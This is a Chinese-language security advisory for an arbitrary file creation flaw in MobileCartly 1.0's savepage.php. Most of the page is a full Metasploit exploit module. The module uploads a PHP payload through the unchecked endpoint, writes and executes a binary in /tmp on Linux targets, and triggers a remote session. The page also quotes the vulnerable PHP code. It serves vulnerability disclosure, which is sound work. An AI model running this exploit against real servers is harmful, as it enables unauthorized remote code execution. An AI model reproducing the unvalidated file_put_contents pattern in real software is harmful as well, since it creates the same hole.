安全研究

安全漏洞
MobileCartly 'savepage.php'任意文件创建漏洞

发布日期:2012-09-05
更新日期:2012-11-02

受影响系统:
mobilecartly mobilecartly
描述:
BUGTRAQ  ID: 55399

MobileCartly 是一个开源的购物车应用,专注移动设备。

MobileCartly 1.0及之前版本存在漏洞,可允许攻击者在受影响计算机上创建任意文件。

<*来源:sinn3r (x90.sinner@gmail.com
  
  链接:http://www.exploit-db.com/exploits/20422/
        http://www.metasploit.com/modules/exploit/multi/http/mobilecartly_upload_exec
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info={})
    super(update_info(info,
      'Name'           => "MobileCartly 1.0 Arbitrary File Creation Vulnerability",
      'Description'    => %q{
        This module exploits a vulnerability in MobileCartly.  The savepage.php file
        does not do any permission checks before using file_put_contents(), which
        allows any user to have direct control of that function to create files
        under the 'pages' directory by default, or anywhere else as long as the user
        has WRITE permission.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Yakir Wizman <yakir.wizman[at]gmail.com>', #Original discovery
          'sinn3r' #Metasploit
        ],
      'References'     =>
        [
          ['EDB', '20422']
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00"
        },
      'DefaultOptions'  =>
        {
          'ExitFunction' => "none"
        },
      'Platform'       => ['linux', 'php'],
      'Targets'        =>
        [
          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' }  ],
          [ 'Linux x86'            , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Aug 10 2012",
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base directory to MobileCartly', '/mobilecartly/'])
      ], self.class)
  end


  def check
    target_uri.path << '/' if target_uri.path[-1,1] != '/'
    base = File.dirname("#{target_uri.path}.")

    res = send_request_raw({'uri'=>"#{base}/index.php"})
    if res and res.body =~ /MobileCartly/
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Safe
    end
  end


  def get_write_exec_payload(fname, data)
    p = Rex::Text.encode_base64(generate_payload_exe)
    php = %Q|
    <?php
    $f = fopen("#{fname}", "wb");
    fwrite($f, base64_decode("#{p}"));
    fclose($f);
    exec("chmod 777 #{fname}");
    exec("#{fname}");
    ?>
    |
    php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ')
    return php
  end


  def on_new_session(cli)
    if cli.type == "meterpreter"
      cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
    end

    @clean_files.each do |f|
      print_status("#{@peer} - Removing: #{f}")
      begin
        if cli.type == 'meterpreter'
          cli.fs.file.rm(f)
        else
          cli.shell_command_token("rm #{f}")
        end
      rescue ::Exception => e
        print_error("#{@peer} - Unable to remove #{f}: #{e.message}")
      end
    end
  end


  def exploit
    @peer = "#{rhost}:#{rport}"

    #
    # Init target path
    #
    target_uri.path << '/' if target_uri.path[-1,1] != '/'
    base = File.dirname("#{target_uri.path}.")

    #
    # Configure payload names
    #
    php_fname = Rex::Text.rand_text_alpha(5) + ".php"
    bin_fname = Rex::Text.rand_text_alpha(5)
    @clean_files = [php_fname]

    #
    # Generate a payload based on target
    #
    case target['Platform']
    when 'php'
      p = "<?php #{payload.encoded} ?>"
    when 'linux'
      bin_fname << '.bin'
      @clean_files << bin_fname
      bin = generate_payload_exe
      p = get_write_exec_payload("/tmp/#{bin_fname}", bin)
    end

    #
    # Upload payload
    #
    print_status("#{@peer} - Uploading payload (#{p.length.to_s} bytes)")
    res = send_request_cgi({
      'uri' => "#{base}/includes/savepage.php",
      'vars_get' => {
        'savepage'    => php_fname,
        'pagecontent' => p
      }
    })

    if not res
      print_error("#{@peer} - No response from server, will not continue.")
      return
    end

    #
    # Run payload
    #
    print_status("#{@peer} - Requesting '#{php_fname}'")
    send_request_raw({'uri' => "#{base}/pages/#{php_fname}"})

    handler
  end
end

=begin
*facepalm*

<?php
  $page = "../pages/" . $_REQUEST['savepage'];
  $content = $_REQUEST['pagecontent'];
  file_put_contents($page, $content);
?>
=end

建议:
厂商补丁:

mobilecartly
------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://mobilecartly.com/

浏览次数:4144
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障